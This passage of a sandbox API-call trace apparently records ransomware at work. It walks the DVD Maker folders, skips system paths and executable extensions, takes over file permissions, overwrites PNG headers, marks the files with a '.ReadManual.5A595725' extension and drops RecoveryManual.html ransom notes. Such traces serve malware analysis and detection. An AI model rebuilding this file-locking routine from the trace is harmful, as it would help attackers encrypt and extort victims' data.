ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x166e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Heart_VideoInset.png", cAlternateFileName="")) returned 1 [0252.553] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="Heart_VideoInset.png" | out: lpString1="Heart_VideoInset.png") returned="Heart_VideoInset.png" [0252.553] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2="RecoveryManual.html") returned -1 [0252.553] StrStrIW (lpFirst="Heart_VideoInset.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.553] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.553] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.553] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.553] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.553] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.553] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.553] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.553] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.553] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.553] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.553] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.553] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.553] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.553] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.553] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" [0252.553] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png.ReadManual.5A595725" [0252.553] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png.ReadManual.5A595725") returned 88 [0252.553] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37322218663) returned 1 [0252.553] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png")) returned 0x20 [0252.554] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.554] GetLastError () returned 0x5 [0252.554] GetNamedSecurityInfoW () returned 0x0 [0252.554] SetNamedSecurityInfoW () returned 0x0 [0252.555] SetNamedSecurityInfoW () returned 0x0 [0252.556] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0252.556] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5742) returned 1 [0252.556] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x166e, lpName=0x0) returned 0x184 [0252.556] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc0) returned 1 [0252.557] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.557] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0252.558] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0252.558] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x166e) returned 0x2f0000 [0252.559] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.559] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37322748355) returned 1 [0252.559] CloseHandle (hObject=0x184) returned 1 [0252.559] SetSecurityInfo () returned 0x5 [0252.559] SetSecurityInfo () returned 0x5 [0252.559] LocalFree (hMem=0x674d38) returned 0x0 [0252.559] CloseHandle (hObject=0x194) returned 1 [0252.559] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HueCycle", cAlternateFileName="")) returned 1 [0252.559] lstrcpyW (in: lpString1=0x69b8fc, lpString2="HueCycle" | out: lpString1="HueCycle") returned="HueCycle" [0252.559] lstrcatW (in: lpString1="HueCycle", lpString2="\\" | out: lpString1="HueCycle\\") returned="HueCycle\\" [0252.559] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpSrch=":\\Windows\\") returned 0x0 [0252.559] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0252.559] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0252.559] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0252.559] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpSrch=":\\WINNT") returned 0x0 [0252.559] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0252.559] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpSrch=":\\Windows.old\\") returned 0x0 [0252.559] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpSrch=":\\PerfLog\\") returned 0x0 [0252.559] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpSrch="\\WindowsApps\\") returned 0x0 [0252.559] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0252.559] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0252.560] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0252.560] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0252.560] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0252.560] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0252.560] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0252.560] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpSrch="\\Windows Defender\\") returned 0x0 [0252.560] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpSrch="\\microsoft shared\\") returned 0x0 [0252.560] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0252.560] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0252.560] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0252.560] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0252.560] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0252.560] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpSrch="\\Tor Browser\\") returned 0x0 [0252.560] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0252.560] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\") returned 57 [0252.560] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff40 [0252.564] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\" [0252.564] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.564] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf8c48, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6faf8c48, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0252.564] lstrcpyW (in: lpString1=0x6ab90e, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png" [0252.564] lstrcmpiW (lpString1="1047x576black.png", lpString2="RecoveryManual.html") returned -1 [0252.564] StrStrIW (lpFirst="1047x576black.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.564] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.564] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.564] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.564] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.564] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.564] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.564] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.564] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.564] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.564] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.564] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.564] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.564] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.564] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.564] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" [0252.564] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png.ReadManual.5A595725" [0252.564] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png.ReadManual.5A595725") returned 94 [0252.564] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37323299477) returned 1 [0252.564] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png")) returned 0x20 [0252.564] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.565] GetLastError () returned 0x5 [0252.565] GetNamedSecurityInfoW () returned 0x0 [0252.565] SetNamedSecurityInfoW () returned 0x0 [0252.565] SetNamedSecurityInfoW () returned 0x0 [0252.566] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.567] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4570) returned 1 [0252.567] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11da, lpName=0x0) returned 0x1a0 [0252.567] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xcc) returned 1 [0252.567] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.567] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.572] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.573] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11da) returned 0x2f0000 [0252.573] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.573] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37324164891) returned 1 [0252.573] CloseHandle (hObject=0x1a0) returned 1 [0252.573] SetSecurityInfo () returned 0x5 [0252.573] SetSecurityInfo () returned 0x5 [0252.573] LocalFree (hMem=0x674d38) returned 0x0 [0252.573] CloseHandle (hObject=0x184) returned 1 [0252.573] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\" [0252.573] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\RecoveryManual.html" [0252.573] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0252.574] WriteFile (in: hFile=0x184, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fda8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fda8*=0xae9, lpOverlapped=0x0) returned 1 [0252.575] CloseHandle (hObject=0x184) returned 1 [0252.575] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb1eda5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb1eda5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0252.575] lstrcpyW (in: lpString1=0x6ab90e, lpString2="15x15dot.png" | out: lpString1="15x15dot.png") returned="15x15dot.png" [0252.575] lstrcmpiW (lpString1="15x15dot.png", lpString2="RecoveryManual.html") returned -1 [0252.575] StrStrIW (lpFirst="15x15dot.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.575] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.575] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.575] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.575] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.575] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.575] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.575] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.575] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.575] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.576] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.576] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.576] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.576] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.576] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.576] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" [0252.576] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png.ReadManual.5A595725" [0252.576] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png.ReadManual.5A595725") returned 89 [0252.576] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37324450774) returned 1 [0252.576] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png")) returned 0x20 [0252.586] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.586] GetLastError () returned 0x5 [0252.586] GetNamedSecurityInfoW () returned 0x0 [0252.587] SetNamedSecurityInfoW () returned 0x0 [0252.587] SetNamedSecurityInfoW () returned 0x0 [0252.588] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.588] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2821) returned 1 [0252.588] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb05, lpName=0x0) returned 0x1a0 [0252.588] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc2) returned 1 [0252.589] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.589] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.593] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.593] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb05) returned 0x2f0000 [0252.593] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.593] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37326181105) returned 1 [0252.593] CloseHandle (hObject=0x1a0) returned 1 [0252.593] SetSecurityInfo () returned 0x5 [0252.593] SetSecurityInfo () returned 0x5 [0252.593] LocalFree (hMem=0x674d38) returned 0x0 [0252.593] CloseHandle (hObject=0x184) returned 1 [0252.593] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fad2aeb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fad2aeb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x43e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="colorcycle.png", cAlternateFileName="")) returned 1 [0252.593] lstrcpyW (in: lpString1=0x6ab90e, lpString2="colorcycle.png" | out: lpString1="colorcycle.png") returned="colorcycle.png" [0252.593] lstrcmpiW (lpString1="colorcycle.png", lpString2="RecoveryManual.html") returned -1 [0252.593] StrStrIW (lpFirst="colorcycle.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.594] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.594] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.594] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.594] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.594] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.594] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.594] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.594] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.594] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.594] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.594] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.594] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.594] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.594] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.594] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" [0252.594] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD 